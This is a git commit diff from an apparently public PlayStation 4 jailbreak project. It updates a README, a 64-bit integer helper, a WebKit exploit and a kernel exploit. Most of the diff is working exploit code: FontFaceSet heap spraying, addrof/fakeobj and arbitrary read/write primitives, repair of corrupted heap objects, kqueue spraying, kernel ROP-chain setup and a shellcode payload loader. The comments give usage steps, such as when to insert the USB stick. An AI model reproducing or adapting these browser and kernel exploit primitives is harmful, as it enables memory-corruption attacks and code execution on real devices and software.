- Add @sleirsgoevy 's fix (https://raw.githubusercontent.com/sleirsgoevy/bad_hoist/059f22f3fe472307db3e0b0735b23c80bebe1226/exploit.js)
- Comment stuff
This commit is contained in:
Chendo 2021-12-18 05:30:41 +01:00
parent dcc5886c89
commit 3a671a2385
4 changed files with 201 additions and 328 deletions

View File

@ -25,12 +25,14 @@ When running the exploit on the PS4, wait until it reaches an alert with "Insert
It may take a minute for the exploit to run, and the spinning animation on the page might freeze - this is fine, let it continue until an error shows or it succeeds and displays "Awaiting payload".
## Notes
- You need to insert the USB when the alert pops up, then let it sit there for a bit until the ps4 storage notifications shows up.
## Extra Notes
- Unplug the USB before a (re)boot cycle or you'll risk corrupting the kernel heap at boot.
- The browser might tempt you into closing the page prematurely, don't.
- The loading circle might freeze while the webkit exploit is triggering, this means nothing.
- The loading circle might freeze while the webkit exploit is triggering, this doesn't yet mean that the exploit failed.
- The bug predates firmware 1.00, so 1.00-9.00 should be exploitable using the same strategy (you will need a different userland exploit & gadgets).
- You can replace the loader with a specific payload to load stuff directly instead of doing it through sockets.
- This bug works on certain PS5 firmwares, however there's no known strategy for exploiting it at the moment. Using this bug against the PS5 blind wouldn't be advised.
- Please don't open issues to tell me that there are none... nor make attempts at making me do your homework for you.
## Contributors
@ -40,4 +42,4 @@ It may take a minute for the exploit to run, and the spinning animation on the p
## Special Thanks
- [Andy Nguyen](https://twitter.com/theflow0)
- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992)
- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://github.com/sleirsgoevy/bad_hoist/tree/9.00)

245
int64.js
View File

@ -1,6 +1,3 @@
// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js
//
// Copyright (c) 2016 Samuel Groß
function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);
@ -39,27 +36,6 @@ function int64(low, hi) {
return new int64(new_lo, new_hi);
}
this.add64 = function(val) {
var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi++;
}
new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0;
return new int64(new_lo, new_hi);
}
this.sub64 = function(val) {
var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0;
return new int64(new_lo, new_hi);
}
this.sub32inplace = function (val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
@ -97,19 +73,6 @@ function int64(low, hi) {
return hi_str + lo_str;
}
this.toPacked = function () {
return {
hi: this.hi,
low: this.low
};
}
this.setPacked = function (pck) {
this.hi = pck.hi;
this.low = pck.low;
return this;
}
return this;
}
@ -122,207 +85,13 @@ function zeroFill(number, width) {
return number + ""; // always return a string
}
function Int64(low, high) {
var bytes = new Uint8Array(8);
if (arguments.length > 2 || arguments.length == 0)
throw TypeError("Incorrect number of arguments to constructor");
if (arguments.length == 2) {
if (typeof low != 'number' || typeof high != 'number') {
throw TypeError("Both arguments must be numbers");
}
if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) {
throw RangeError("Both arguments must fit inside a uint32");
}
low = low.toString(16);
for (let i = 0; i < 8 - low.length; i++) {
low = "0" + low;
}
low = "0x" + high.toString(16) + low;
function zeroFill(number, width) {
width -= number.toString().length;
if (width > 0) {
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
}
switch (typeof low) {
case 'number':
low = '0x' + Math.floor(low).toString(16);
case 'string':
if (low.substr(0, 2) === "0x")
low = low.substr(2);
if (low.length % 2 == 1)
low = '0' + low;
var bigEndian = unhexlify(low, 8);
var arr = [];
for (var i = 0; i < bigEndian.length; i++) {
arr[i] = bigEndian[i];
}
bytes.set(arr.reverse());
break;
case 'object':
if (low instanceof Int64) {
bytes.set(low.bytes());
} else {
if (low.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(low);
}
break;
case 'undefined':
break;
}
// Return a double whith the same underlying bit representation.
this.asDouble = function () {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
this.asInteger = function () {
if (bytes[7] != 0 || bytes[6] > 0x20) {
debug_log("SOMETHING BAD HAS HAPPENED!!!");
throw new RangeError(
"Can not be represented as a regular number");
}
return Struct.unpack(Struct.int64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function () {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[
6] == 0xff))
throw new RangeError(
"Can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes());
};
// Return the underlying bytes of this number as array.
this.bytes = function () {
var arr = [];
for (var i = 0; i < bytes.length; i++) {
arr.push(bytes[i])
}
return arr;
};
// Return the byte at the given index.
this.byteAt = function (i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function () {
var arr = [];
for (var i = 0; i < bytes.length; i++) {
arr.push(bytes[i])
}
return '0x' + hexlify(arr.reverse());
};
this.low32 = function () {
return new Uint32Array(bytes.buffer)[0] >>> 0;
};
this.hi32 = function () {
return new Uint32Array(bytes.buffer)[1] >>> 0;
};
this.equals = function (other) {
if (!(other instanceof Int64)) {
other = new Int64(other);
}
for (var i = 0; i < 8; i++) {
if (bytes[i] != other.byteAt(i))
return false;
}
return true;
};
this.greater = function (other) {
if (!(other instanceof Int64)) {
other = new Int64(other);
}
if (this.hi32() > other.hi32())
return true;
else if (this.hi32() === other.hi32()) {
if (this.low32() > other.low32())
return true;
}
return false;
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function () {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
var new_args = [];
for (var i = 0; i < arguments.length; i++) {
if (!(arguments[i] instanceof Int64)) {
new_args[i] = new Int64(arguments[i]);
} else {
new_args[i] = arguments[i];
}
}
return f.apply(this, new_args);
};
}
this.neg = operation(function neg() {
var ret = [];
for (var i = 0; i < 8; i++)
ret[i] = ~this.byteAt(i);
return new Int64(ret).add(Int64.One);
}, 0);
this.add = operation(function add(a) {
var ret = [];
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = this.byteAt(i) + a.byteAt(i) + carry;
carry = cur > 0xff | 0;
ret[i] = cur;
}
return new Int64(ret);
}, 1);
this.assignAdd = operation(function assignAdd(a) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = this.byteAt(i) + a.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 1);
this.sub = operation(function sub(a) {
var ret = [];
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = this.byteAt(i) - a.byteAt(i) - carry;
carry = cur < 0 | 0;
ret[i] = cur;
}
return new Int64(ret);
}, 1);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function (d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff);
return number + ""; // always return a string
}

View File

@ -86,6 +86,9 @@ var ipmi_gadgetmap = {
function userland() {
//RW -> ROP method is strongly based of:
//https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit
p.launch_chain = launch_chain;
p.malloc = malloc;
p.malloc32 = malloc32;
@ -259,11 +262,18 @@ function run_hax() {
if (chain.syscall(23, 0).low != 0x0) {
kernel();
//this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
//p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
}
//tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though...
var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
var payload_loader = p.malloc32(0x1000);
//NOTE: You can replace this with a payload instead of the loader.
//You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
//And other ways, ....
//This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
var loader_writer = payload_loader.backing;
loader_writer[0] = 0x56415741;
loader_writer[1] = 0x83485541;
@ -369,6 +379,7 @@ function load_prx(name) {
return tlsinit;
}
//Obtain extra gadgets through module loading
function extra_gadgets() {
handle = p.malloc(0x150);
var randomized_path_ptr = handle.add32(0x4);
@ -396,6 +407,7 @@ function extra_gadgets() {
}
}
//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
function kchain_setup() {
const KERNEL_setidt = 0x312c40;
const KERNEL_setcr0 = 0x1FB949;
@ -573,12 +585,10 @@ function object_setup() {
}
var trigger_spray = function () {
//Make socket <= 0xFF | -> alloc 0x800
var NUM_KQUEUES = 0x1B0;
var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
//Make Kqueues
//Make kqueues
{
for (var i = 0; i < NUM_KQUEUES; i++) {
chain.fcall(window.syscalls[362]);
@ -629,7 +639,9 @@ var trigger_spray = function () {
if (chain.syscall(23, 0).low == 0) {
return;
}
alert("exploit failed (kernel heap might be fucked if you *did* insert the USB");
alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on.
closing this alert will crash the browser for you.`);
p.write8(0, 0);
return;
}

254
webkit.js
View File

@ -2,7 +2,7 @@ var PAGE_SIZE = 16384;
var SIZEOF_CSS_FONT_FACE = 0xb8;
var HASHMAP_BUCKET = 208;
var STRING_OFFSET = 20;
var SPRAY_FONTS = 0x1000;
var SPRAY_FONTS = 0x100a;
var GUESS_FONT = 0x200430000;
var NPAGES = 20;
var INVALID_POINTER = 0;
@ -11,12 +11,6 @@ var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
function poc() {
function hex(n) {
if ((typeof n) != "number")
return "" + n;
return "0x" + (new Number(n)).toString(16);
}
var union = new ArrayBuffer(8);
var union_b = new Uint8Array(union);
var union_i = new Uint32Array(union);
@ -78,6 +72,10 @@ function poc() {
var ite = true;
var matches = 0;
var round = 0;
window.ffses = {};
do {
var p_s = ptrToString(NPAGES + 2); // vector.size()
@ -88,7 +86,7 @@ function poc() {
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var ffs = new FontFaceSet(bad_fonts);
var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts);
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
@ -96,7 +94,7 @@ function poc() {
var guessed_addr = null;
for (var i = 0; i < SPRAY_FONTS; i++) {
bad_fonts[i].family = "evil";
bad_fonts[i].family = "search" + round;
if (badstr1.substr(0, p_s.length) != p_s) {
guessed_font = i;
var p_s1 = badstr1.substr(0, p_s.length);
@ -130,16 +128,17 @@ function poc() {
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
mkString(HASHMAP_BUCKET, p_s);
bad_fonts[guessed_font].family = "evil2";
bad_fonts[guessed_font + 1].family = "evil3";
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
var ffses = {};
var needfix = [];
for (var i = 0;; i++) {
ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
needfix.push(mkString(HASHMAP_BUCKET, p_s));
bad_fonts[guessed_font].family = "evil2";
bad_fonts[guessed_font + 1].family = "evil3";
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
if (leak < 0x1000000000000)
break;
}
function makeReader(read_addr, ffs_name) {
var fake_s = '';
@ -162,6 +161,7 @@ function poc() {
bad_fonts[guessed_font].family = ffs_name + "_evil1";
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
needfix.push(relative_read);
if (relative_read.length < 1000) //failed
return makeReader(read_addr, ffs_name + '_');
return relative_read;
@ -206,7 +206,6 @@ function poc() {
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
var sanity = stringToPtr(rd_leak, 32);
var rd_arr = makeReader(array256, 'ffs5');
var butterfly = stringToPtr(rd_arr, 8);
@ -254,33 +253,39 @@ function poc() {
for (var i = 0; i < HAMMER_NSTRINGS; i++)
mkString(HASHMAP_BUCKET, pp_s);
var ffs7 = new FontFaceSet(ffs7_args);
ffses.ffs7 = new FontFaceSet(ffs7_args);
mkString(HASHMAP_BUCKET, pp_s);
var ffs8 = new FontFaceSet(ffs8_args);
mkString(HASHMAP_BUCKET, fake_s);
ffses.ffs8 = new FontFaceSet(ffs8_args);
var post_ffs = mkString(HASHMAP_BUCKET, fake_s);
needfix.push(post_ffs);
for (var i = 0; i < 13; i++)
bad_fonts[guessed_font + i].family = "hammer" + i;
window.addrof = function (obj) {
function boot_addrof(obj) {
arrays[257][32] = obj;
union_f[0] = arrays[258][0];
return new int64(union_i[0], union_i[1]);
return union_i[1] * 0x100000000 + union_i[0];
}
window.fakeobj = function (addr) {
union_i[0] = addr.low;
union_i[1] = addr.hi;
function boot_fakeobj(addr) {
union_i[0] = addr;
union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
arrays[258][0] = union_f[0];
return arrays[257][32];
}
//craft misaligned typedarray
var arw_master = new Uint32Array(8);
var arw_slave = new Uint32Array(2);
var arw_slave = new Uint8Array(1);
var obj_master = new Uint32Array(8);
var obj_slave = {
obj: null
};
var addrof_slave = addrof(arw_slave);
var addrof_slave = boot_addrof(arw_slave);
var addrof_obj_slave = boot_addrof(obj_slave);
union_i[0] = structureid_low;
union_i[1] = structureid_high;
union_b[6] = 7;
@ -291,78 +296,163 @@ function poc() {
size: 0x5678
};
function i48_put(x, a) {
a[4] = x | 0;
a[5] = (x / 4294967296) | 0;
}
function i48_get(a) {
return a[4] + a[5] * 4294967296;
}
window.addrof = function (x) {
obj_slave.obj = x;
return i48_get(obj_master);
}
window.fakeobj = function (x) {
i48_put(x, obj_master);
return obj_slave.obj;
}
function read_mem_setup(p, sz) {
i48_put(p, arw_master);
arw_master[6] = sz;
}
window.read_mem = function (p, sz) {
read_mem_setup(p, sz);
var arr = [];
for (var i = 0; i < sz; i++)
arr.push(arw_slave[i]);
return arr;
};
window.write_mem = function (p, data) {
read_mem_setup(p, data.length);
for (var i = 0; i < data.length; i++)
arw_slave[i] = data[i];
};
window.read_ptr_at = function (p) {
var ans = 0;
var d = read_mem(p, 8);
for (var i = 7; i >= 0; i--)
ans = 256 * ans + d[i];
return ans;
};
window.write_ptr_at = function (p, d) {
var arr = [];
for (var i = 0; i < 8; i++) {
arr.push(d & 0xff);
d /= 256;
}
write_mem(p, arr);
};
(function () {
var magic = fakeobj(addrof(obj).add32(0x10));
magic[4] = addrof_slave.low;
magic[5] = addrof_slave.hi;
var magic = boot_fakeobj(boot_addrof(obj) + 16);
magic[4] = addrof_slave;
magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
obj.buffer = obj_master;
magic[4] = addrof_obj_slave;
magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;
magic = null;
})();
//fix fucked objects to stabilize webkit
(function () {
//fix fontfaceset (memmoved 96 bytes to low, move back)
var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;
write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));
//fix strings (restore "valid") header
for (var i = 0; i < needfix.length; i++) {
var addr = read_ptr_at(addrof(needfix[i]) + 8);
write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);
write_ptr_at(addr + 8, addr + 20);
write_ptr_at(addr + 16, 0x80000014);
}
//fix array butterfly
write_ptr_at(butterfly + 248, 0x1f0000001f);
})();
//^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.
//create compat stuff for kexploit.js
var expl_master = new Uint32Array(8);
var expl_slave = new Uint32Array(2);
var addrof_expl_slave = addrof(expl_slave);
var m = fakeobj(addrof(obj) + 16);
obj.buffer = expl_master;
m[4] = addrof_expl_slave;
m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
var prim = {
write8: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
if(value instanceof int64) {
arw_slave[0] = value.low;
arw_slave[1] = value.hi;
write8: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
if (value instanceof int64) {
expl_slave[0] = value.low;
expl_slave[1] = value.hi;
} else {
arw_slave[0] = value;
arw_slave[1] = 0;
expl_slave[0] = value;
expl_slave[1] = 0;
}
},
write4: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
if(value instanceof int64) {
arw_slave[0] = value.low;
write4: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
if (value instanceof int64) {
expl_slave[0] = value.low;
} else {
arw_slave[0] = value;
expl_slave[0] = value;
}
},
write2: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
var tmp = arw_slave[0] & 0xFFFF0000;
if(value instanceof int64) {
arw_slave[0] = ((value.low & 0xFFFF) | tmp);
write2: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
var tmp = expl_slave[0] & 0xFFFF0000;
if (value instanceof int64) {
expl_slave[0] = ((value.low & 0xFFFF) | tmp);
} else {
arw_slave[0] = ((value & 0xFFFF) | tmp);
expl_slave[0] = ((value & 0xFFFF) | tmp);
}
},
write1: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
var tmp = arw_slave[0] & 0xFFFFFF00;
if(value instanceof int64) {
arw_slave[0] = ((value.low & 0xFF) | tmp);
write1: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
var tmp = expl_slave[0] & 0xFFFFFF00;
if (value instanceof int64) {
expl_slave[0] = ((value.low & 0xFF) | tmp);
} else {
arw_slave[0] = ((value & 0xFF) | tmp);
expl_slave[0] = ((value & 0xFF) | tmp);
}
},
read8: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return new int64(arw_slave[0], arw_slave[1]);
read8: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return new int64(expl_slave[0], expl_slave[1]);
},
read4: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return arw_slave[0];
read4: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return expl_slave[0];
},
read2: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return arw_slave[0] & 0xFFFF;
read2: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return expl_slave[0] & 0xFFFF;
},
read1: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return arw_slave[0] & 0xFF;
read1: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return expl_slave[0] & 0xFF;
},
leakval: function(obj) {
arrays[257][32] = obj;
union_f[0] = arrays[258][0];
return new int64(union_i[0], union_i[1]);
leakval: function (obj) {
obj_slave.obj = obj;
return new int64(obj_master[4], obj_master[5]);
}
};
window.p = prim;